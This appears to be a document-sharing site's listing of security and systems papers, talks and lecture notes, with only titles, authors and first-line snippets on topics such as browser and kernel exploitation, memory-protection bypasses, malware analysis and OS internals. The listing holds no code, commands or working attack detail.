Your texte here. CVE-2012-1535 Adobe Flash Player Integer Overflow Vulnerability Analysis October 11 th, 2012 Brian MARIANI & Frédéric BOURLA A FEW WORDS ABOUT FLASH PLAYER Your Adobe texte Flash here
IOActive Security Advisory
IOActive Security Advisory Title Severity Discovered by Admin ACL Bypass and Double Fetch Issue in F-Secure Internet Security 2015 High/Important Ilja van Sprundel Advisory Date September 3, 2015 Affected
Lecture 10: Dynamic Memory Allocation 1: Into the jaws of malloc()
CS61: Systems Programming and Machine Organization Harvard University, Fall 2009 Lecture 10: Dynamic Memory Allocation 1: Into the jaws of malloc() Prof. Matt Welsh October 6, 2009 Topics for today Dynamic
There s a kernel security researcher named Dan Rosenberg whose done a lot of linux kernel vulnerability research
1 There s a kernel security researcher named Dan Rosenberg whose done a lot of linux kernel vulnerability research That s unavoidable, but the linux kernel developers don t do very much to make the situation
Bypassing Browser Memory Protections in Windows Vista
Bypassing Browser Memory Protections in Windows Vista Mark Dowd & Alexander Sotirov [email protected] [email protected] Setting back browser security by 10 years Part I: Introduction Thesis Introduction
Title: Bugger The Debugger - Pre Interaction Debugger Code Execution
White Paper Title: Bugger The Debugger Pre Interaction Debugger Code Execution Prepared by: Brett Moore Network Intrusion Specialist, CTO SecurityAssessment.com Date: April 2005 Abstract The use of debuggers
Format string exploitation on windows Using Immunity Debugger / Python. By Abysssec Inc WwW.Abysssec.Com
Format string exploitation on windows Using Immunity Debugger / Python By Abysssec Inc WwW.Abysssec.Com For real beneficiary this post you should have few assembly knowledge and you should know about classic
Software Vulnerabilities
Software Vulnerabilities -- stack overflow Code based security Code based security discusses typical vulnerabilities made by programmers that can be exploited by miscreants Implementing safe software in
Practical taint analysis for protecting buggy binaries
Practical taint analysis for protecting buggy binaries So your exploit beats ASLR/DEP? I don't care Erik Bosman Traditional Stack Smashing buf[16] GET / HTTP/1.100baseretnarg1arg2 Traditional
Ivan Medvedev Principal Security Development Lead Microsoft Corporation
Ivan Medvedev Principal Security Development Lead Microsoft Corporation Session Objectives and Takeaways Session Objective(s): Give an overview of the Security Development Lifecycle Discuss the externally
Where s the FEEB? The Effectiveness of Instruction Set Randomization
Where s the FEEB? The Effectiveness of Instruction Set Randomization Ana Nora Sovarel David Evans Nathanael Paul University of Virginia, Department of Computer Science http://www.cs.virginia.edu/feeb Abstract
風 水. Heap Feng Shui in JavaScript. Alexander Sotirov. [email protected]
風 水 Heap Feng Shui in JavaScript Alexander Sotirov [email protected] Black Hat Europe 2007 Introduction What is Heap Feng Shui? the ancient art of arranging heap blocks in order to redirect the program
Using a Patched Vulnerability to Bypass Windows 8 x64 Driver Signature Enforcement. MJ0011 [email protected]
Using a Patched Vulnerability to Bypass Windows 8 x64 Driver Signature Enforcement MJ0011 [email protected] Agenda Background A Patched Vulnerability: CVE-2010-4398 Bypass DSE on Windows7 x64 Windows8
Persist It Using and Abusing Microsoft s Fix It Patches
Persist It Using and Abusing Microsoft s Fix It Patches Jon Erickson : isight Partners : [email protected] Abstract: Microsoft has often used Fix it patches, which are a subset of Application
Illustration 1: Diagram of program function and data flow
The contract called for creation of a random access database of plumbing shops within the near perimeter of FIU Engineering school. The database features a rating number from 1-10 to offer a guideline
CIS 551 / TCOM 401 Computer and Network Security
CIS 551 / TCOM 401 Computer and Network Security Spring 2007 Lecture 3 1/18/07 CIS/TCOM 551 1 Announcements Email project groups to Jeff (vaughan2 AT seas.upenn.edu) by Jan. 25 Start your projects early!
SECURITY B-SIDES: ATLANTA STRATEGIC PENETRATION TESTING. Presented by: Dave Kennedy Eric Smith
SECURITY B-SIDES: ATLANTA STRATEGIC PENETRATION TESTING Presented by: Dave Kennedy Eric Smith AGENDA Penetration Testing by the masses Review of current state by most service providers Deficiencies in
One-byte Modification for Breaking Memory Forensic Analysis
One-byte Modification for Breaking Memory Forensic Analysis Takahiro Haruyama / Hiroshi Suzuki Internet Initiative Japan Inc. for submission Summary Memory Forensics Overview Memory Acquisition Memory
Dynamic Behavior Analysis Using Binary Instrumentation
Dynamic Behavior Analysis Using Binary Instrumentation Jonathan Salwan [email protected] St'Hack Bordeaux France March 27 2015 Keywords: program analysis, DBI, DBA, Pin, concrete execution, symbolic
I Control Your Code Attack Vectors Through the Eyes of Software-based Fault Isolation. Mathias Payer, ETH Zurich
I Control Your Code Attack Vectors Through the Eyes of Software-based Fault Isolation Mathias Payer, ETH Zurich Motivation Applications often vulnerable to security exploits Solution: restrict application
Defense in Depth: Protecting Against Zero-Day Attacks
Defense in Depth: Protecting Against Zero-Day Attacks Chris McNab FIRST 16, Budapest 2004 Agenda Exploits through the ages Discussion of stack and heap overflows Common attack behavior Defense in depth
Advanced IBM AIX Heap Exploitation. Tim Shelton V.P. Research & Development HAWK Network Defense, Inc. [email protected]
Advanced IBM AIX Heap Exploitation Tim Shelton V.P. Research & Development HAWK Network Defense, Inc. [email protected] Introduction Our society has become dependent on computers and network systems.
1) The postfix expression for the infix expression A+B*(C+D)/F+D*E is ABCD+*F/DE*++
Answer the following 1) The postfix expression for the infix expression A+B*(C+D)/F+D*E is ABCD+*F/DE*++ 2) Which data structure is needed to convert infix notations to postfix notations? Stack 3) The
Leak Check Version 2.1 for Linux TM
Leak Check Version 2.1 for Linux TM User s Guide Including Leak Analyzer For x86 Servers Document Number DLC20-L-021-1 Copyright 2003-2009 Dynamic Memory Solutions LLC www.dynamic-memory.com Notices Information
Kernel Intrusion Detection System
Kernel Intrusion Detection System Rodrigo Rubira Branco [email protected] [email protected] Monica's Team!! Brazilian famous H.Q. story Amazon Forest Yeah, Brazilian country! Soccer Brazilian
Abusing the Windows WiFi native API to create a Covert Channel
Abusing the Windows WiFi native API to create a Covert Channel Andrés Blanco, Ezequiel Gutesman Core Security Technologies April 13, 2011 Abstract Communications over wireless channels have been perfectioned
Sandbox Roulette: Are you ready for the gamble?
Sandbox Roulette: Are you ready for the gamble? Rafal Wojtczuk [email protected] Rahul Kashyap [email protected] What is a sandbox? In computer security terminology, a sandbox is an environment designed
Virtdbg. Using virtualization features for debugging the Windows 7 kernel. Damien Aumaitre. Recon 2011
Virtdbg Using virtualization features for debugging the Windows 7 kernel Damien Aumaitre Recon 2011 D. Aumaitre Virtdbg 2/42 Roadmap How it began Designing a kernel debugger Debugging Windows 7 x64 1 How
Chapter 6, The Operating System Machine Level
Chapter 6, The Operating System Machine Level 6.1 Virtual Memory 6.2 Virtual I/O Instructions 6.3 Virtual Instructions For Parallel Processing 6.4 Example Operating Systems 6.5 Summary Virtual Memory General
Lab 4: Socket Programming: netcat part
Lab 4: Socket Programming: netcat part Overview The goal of this lab is to familiarize yourself with application level programming with sockets, specifically stream or TCP sockets, by implementing a client/server
From SQL Injection to MIPS Overflows
From SQL Injection to MIPS Overflows Rooting SOHO Routers Zachary Cutlip Black Hat USA 2012 Acknowledgements Tactical Network Solutions Craig Heffner What I m going to talk about Novel uses of SQL injection
System Calls and Standard I/O
System Calls and Standard I/O Professor Jennifer Rexford http://www.cs.princeton.edu/~jrex 1 Goals of Today s Class System calls o How a user process contacts the Operating System o For advanced services
The Advantages of Block-Based Protocol Analysis for Security Testing
The Advantages of Block-Based Protocol Analysis for Security Testing Dave Aitel Immunity,Inc. 111 E. 7 th St. Suite 64, NY NY 10009, USA [email protected] February, 4 2002 Abstract. This paper describes
For a 64-bit system. I - Presentation Of The Shellcode
#How To Create Your Own Shellcode On Arch Linux? #Author : N3td3v!l #Contact-mail : [email protected] #Website : Nopotm.ir #Spcial tnx to : C0nn3ct0r And All Honest Hackerz and Security Managers I - Presentation
Jorix kernel: real-time scheduling
Jorix kernel: real-time scheduling Joris Huizer Kwie Min Wong May 16, 2007 1 Introduction As a specialized part of the kernel, we implemented two real-time scheduling algorithms: RM (rate monotonic) and
Implementation Aspects of OO-Languages
1 Implementation Aspects of OO-Languages Allocation of space for data members: The space for data members is laid out the same way it is done for structures in C or other languages. Specifically: The data
http://www.nologin.org Bypassing Windows Hardware-enforced Data Execution Prevention
http://www.nologin.org Bypassing Windows Hardware-enforced Data Execution Prevention Oct 2, 2005 skape [email protected] Skywing [email protected] One of the big changes that Microsoft introduced
Introduction to Information Security
Introduction to Information Security 0368-3065, Spring 2015 Lecture 1: Introduction, Control Hijacking (1/2) Eran Tromer Slides credit: Avishai Wool, Tel Aviv University 1 Administration Lecturer: Eran
Windows Kernel Internals for Security Researchers
Windows Kernel Internals for Security Researchers Overview This course takes a deep dive into the internals of the Windows kernel from a security perspective. Attendees learn about behind the scenes working
CORE SECURITY. Exploiting Adobe Flash Player in the era of Control Flow Guard. Francisco Falcon (@fdfalcon) Black Hat Europe 2015 November 12-13, 2015
CORE SECURITY Exploiting Adobe Flash Player in the era of Control Flow Guard Francisco Falcon (@fdfalcon) Black Hat Europe 2015 November 12-13, 2015 About me 2 About me Exploit Writer for Core Security.
Application Note. Introduction AN2471/D 3/2003. PC Master Software Communication Protocol Specification
Application Note 3/2003 PC Master Software Communication Protocol Specification By Pavel Kania and Michal Hanak S 3 L Applications Engineerings MCSL Roznov pod Radhostem Introduction The purpose of this
Dynamic VM Monitoring using Hypervisor Probes
Dynamic VM Monitoring using Hypervisor Probes Z. J. Estrada, C. Pham, F. Deng, L. Yan, Z. Kalbarczyk, R. K. Iyer European Dependable Computing Conference 2015-09-09 1 Dynamic VM Monitoring Goal On-demand
Betriebssysteme KU Security
Betriebssysteme KU Security IAIK Graz University of Technology 1 1. Drivers 2. Security - The simple stuff 3. Code injection attacks 4. Side-channel attacks 2 1. Drivers 2. Security - The simple stuff
CS3235 - Computer Security Thirteenth topic: System attacks. defenses
Overflows... Security case studies CS3235 - Computer Security Thirteenth topic: System attacks and defenses Hugh Anderson National University of Singapore School of Computing March/April, 2016 Hugh Anderson
Hotpatching and the Rise of Third-Party Patches
Hotpatching and the Rise of Third-Party Patches Alexander Sotirov [email protected] BlackHat USA 2006 Overview In the next one hour, we will cover: Third-party security patches _ recent developments
Semantic Analysis: Types and Type Checking
Semantic Analysis Semantic Analysis: Types and Type Checking CS 471 October 10, 2007 Source code Lexical Analysis tokens Syntactic Analysis AST Semantic Analysis AST Intermediate Code Gen lexical errors
Open Crypto Audit Project TrueCrypt
Open Crypto Audit Project TrueCrypt Security Assessment Prepared for: Prepared by: Andreas Junestam Security Engineer Nicolas Guigo Security Engineer isec Partners Final Report Open Crypto Audit Project
Hooking Nirvana RECON 2015 ALEX IONESCU @AIONESCU 1/26/2016 COPYRIGHT 2015 ALEX IONESCU. ALL RIGHTS RESERVED. 1
Hooking Nirvana STEALTHY INSTRUMENTATION TECHNIQUES RECON 2015 ALEX IONESCU @AIONESCU 1/26/2016 COPYRIGHT 2015 ALEX IONESCU. ALL RIGHTS RESERVED. 1 WHO AM I? Chief Architect at CrowdStrike, a security
Sandy. The Malicious Exploit Analysis. http://exploit-analysis.com/ Static Analysis and Dynamic exploit analysis. Garage4Hackers
Sandy The Malicious Exploit Analysis. http://exploit-analysis.com/ Static Analysis and Dynamic exploit analysis About Me! I work as a Researcher for a Global Threat Research firm.! Spoke at the few security
Computer Security: Principles and Practice
Computer Security: Principles and Practice Chapter 24 Windows and Windows Vista Security First Edition by William Stallings and Lawrie Brown Lecture slides by Lawrie Brown Windows and Windows Vista Security
Xbox 360 File Specifications Reference
Xbox 360 File Specifications Reference Introduction This reference attempts to document the specifications of the custom data formats in use by the Xbox 360 console. This data has either been discovered
EaseVault File System Filter SDK Manual
Introduction File system filter driver A file system filter driver intercepts requests targeted at a file system or another file system filter driver. By intercepting the request before it reaches its
SWIPING THROUGH MODERN SECURITY FEATURES
SWIPING THROUGH MODERN SECURITY FEATURES HITB Amsterdam, April 11th, 2013 REACHING THE KERNEL Run unsigned code outside the sandbox Get around ASLR Take control of the kernel REACHING THE KERNEL Run unsigned
telnetd exploit FreeBSD Telnetd Remote Exploit Für Compass Security AG Öffentliche Version 1.0 Januar 2012
telnetd exploit FreeBSD Telnetd Remote Exploit Für Compass Security AG Öffentliche Version 1.0 Januar 2012 Content Part I Info Bug Telnet Exploit Part II Advanced Exploitation Meta Information Disclosed
Why Do Software Assurance Tools Have Problems Finding Bugs Like Heartbleed?
April 22 WP003 2014 Why Do Software Assurance Tools Have Problems Finding Bugs Like Heartbleed? James A. Kupsch and Barton P. Miller University of Wisconsin-Madison In response to the Heartbleed vulnerability,
Database's Security Paradise. Joxean Koret
Database's Security Paradise Joxean Koret Security in Databases Many people still believe databases are hard to audit/hack. Name it as you prefer... Many people consider database software as too big products
Linux Kernel. Security Report
Linux Kernel Security Report September 25 Authors: Andy Chou, Bryan Fulton and Seth Hallem Coverity has combined two years of analysis work carried out in a commercial setting at Coverity with four years
Embedded Programming in C/C++: Lesson-1: Programming Elements and Programming in C
Embedded Programming in C/C++: Lesson-1: Programming Elements and Programming in C 1 An essential part of any embedded system design Programming 2 Programming in Assembly or HLL Processor and memory-sensitive
OS: IPC I. Cooperating Processes. CIT 595 Spring 2010. Message Passing vs. Shared Memory. Message Passing: Unix Pipes
Cooperating Processes Independent processes cannot affect or be affected by the execution of another process OS: IPC I CIT 595 Spring 2010 Cooperating process can affect or be affected by the execution
The Sandbox Roulette: are you ready to gamble? Rafal Wojtczuk [email protected] Rahul Kashyap [email protected]
The Sandbox Roulette: are you ready to gamble? Rafal Wojtczuk [email protected] Rahul Kashyap [email protected] What is a sandbox? Environment designed to run untrusted (or exploitable) code, in a manner
Operating Systems and Networks
recap Operating Systems and Networks How OS manages multiple tasks Virtual memory Brief Linux demo Lecture 04: Introduction to OS-part 3 Behzad Bordbar 47 48 Contents Dual mode API to wrap system calls
FAT32 vs. NTFS Jason Capriotti CS384, Section 1 Winter 1999-2000 Dr. Barnicki January 28, 2000
FAT32 vs. NTFS Jason Capriotti CS384, Section 1 Winter 1999-2000 Dr. Barnicki January 28, 2000 Table of Contents List of Figures... iv Introduction...1 The Physical Disk...1 File System Basics...3 File
Applying Clang Static Analyzer to Linux Kernel
Applying Clang Static Analyzer to Linux Kernel 2012/6/7 FUJITSU COMPUTER TECHNOLOGIES LIMITED Hiroo MATSUMOTO 管 理 番 号 1154ka1 Copyright 2012 FUJITSU COMPUTER TECHNOLOGIES LIMITED Abstract Now there are
Hacking Techniques & Intrusion Detection. Ali Al-Shemery arabnix [at] gmail
Hacking Techniques & Intrusion Detection Ali Al-Shemery arabnix [at] gmail All materials is licensed under a Creative Commons Share Alike license http://creativecommonsorg/licenses/by-sa/30/ # whoami Ali
Intel EP80579 Software for Security Applications on Intel QuickAssist Technology Cryptographic API Reference
Intel EP80579 Software for Security Applications on Intel QuickAssist Technology Cryptographic API Reference Automatically generated from sources, May 19, 2009. Reference Number: 320184, Revision -003
BERserk Vulnerability
Intel Security: Advanced Threat Research BERserk Vulnerability Part 2: Certificate Forgery in Mozilla NSS October 6, 2014 Contents DigestInfo ASN.1 Decoding Vulnerabilities in Mozilla NSS... 2 Forging
Caml Virtual Machine File & data formats Document version: 1.4 http://cadmium.x9c.fr
Caml Virtual Machine File & data formats Document version: 1.4 http://cadmium.x9c.fr Copyright c 2007-2010 Xavier Clerc [email protected] Released under the LGPL version 3 February 6, 2010 Abstract: This
Source Code Security Analysis Tool Functional Specification Version 1.0
Special Publication 500-268 Source Code Security Analysis Tool Functional Specification Version 1.0 Paul E. Black Michael Kass Michael Koo Software Diagnostics and Conformance Testing Division Information
Mining for Bugs with Graph Database Queries
Mining for Bugs with Graph Database Queries Fabian Yamaguchi (@fabsx00) 31C3 GEORG-AUGUST-UNIVERSITÄT GÖTTINGEN Hello 31C3!» It s been 5 years since my last CCC talk» Talk back then: mostly about hard
Advanced Endpoint Protection Overview
Advanced Endpoint Protection Overview Advanced Endpoint Protection is a solution that prevents Advanced Persistent Threats (APTs) and Zero-Day attacks and enables protection of your endpoints by blocking
Automating Mimicry Attacks Using Static Binary Analysis
Automating Mimicry Attacks Using Static Binary Analysis Christopher Kruegel and Engin Kirda Technical University Vienna [email protected], [email protected] Darren Mutz, William Robertson,
Implementation of Web Application Firewall
Implementation of Web Application Firewall OuTian 1 Introduction Abstract Web 層 應 用 程 式 之 攻 擊 日 趨 嚴 重, 而 國 內 多 數 企 業 仍 不 知 該 如 何 以 資 安 設 備 阻 擋, 仍 在 採 購 傳 統 的 Firewall/IPS,
Virtuozzo Virtualization SDK
Virtuozzo Virtualization SDK Programmer's Guide February 18, 2016 Copyright 1999-2016 Parallels IP Holdings GmbH and its affiliates. All rights reserved. Parallels IP Holdings GmbH Vordergasse 59 8200
Off-by-One exploitation tutorial
Off-by-One exploitation tutorial By Saif El-Sherei www.elsherei.com Introduction: I decided to get a bit more into Linux exploitation, so I thought it would be nice if I document this as a good friend
Intel SGX Enclave Support in Windows 10 Fall Update (Threshold 2)
Intel SGX Enclave Support in Windows 10 Fall Update (Threshold 2) Technical Whitepaper Revision 1.0 November 8 th, 2015 Authored by Alex Ionescu (@aionescu) http://www.alex-ionescu.com Winsider Seminars
Lecture 22: C Programming 4 Embedded Systems
Lecture 22: C Programming 4 Embedded Systems Today s Goals Basic C programming process Variables and constants in C Pointers to access addresses Using a High Level Language High-level languages More human
Pushing the Limits of Windows: Physical Memory Mark Russinovich (From Mark Russinovich Blog)
This is the first blog post in a series I'll write over the coming months called Pushing the Limits of Windows that describes how Windows and applications use a particular resource, the licensing and implementation-derived
Exam 1 Review Questions
CSE 473 Introduction to Computer Networks Exam 1 Review Questions Jon Turner 10/2013 1. A user in St. Louis, connected to the internet via a 20 Mb/s (b=bits) connection retrieves a 250 KB (B=bytes) web
umps software development
Laboratorio di Sistemi Operativi Anno Accademico 2006-2007 Software Development with umps Part 2 Mauro Morsiani Software development with umps architecture: Assembly language development is cumbersome:
W4118: segmentation and paging. Instructor: Junfeng Yang
W4118: segmentation and paging Instructor: Junfeng Yang Outline Memory management goals Segmentation Paging TLB 1 Uni- v.s. multi-programming Simple uniprogramming with a single segment per process Uniprogramming
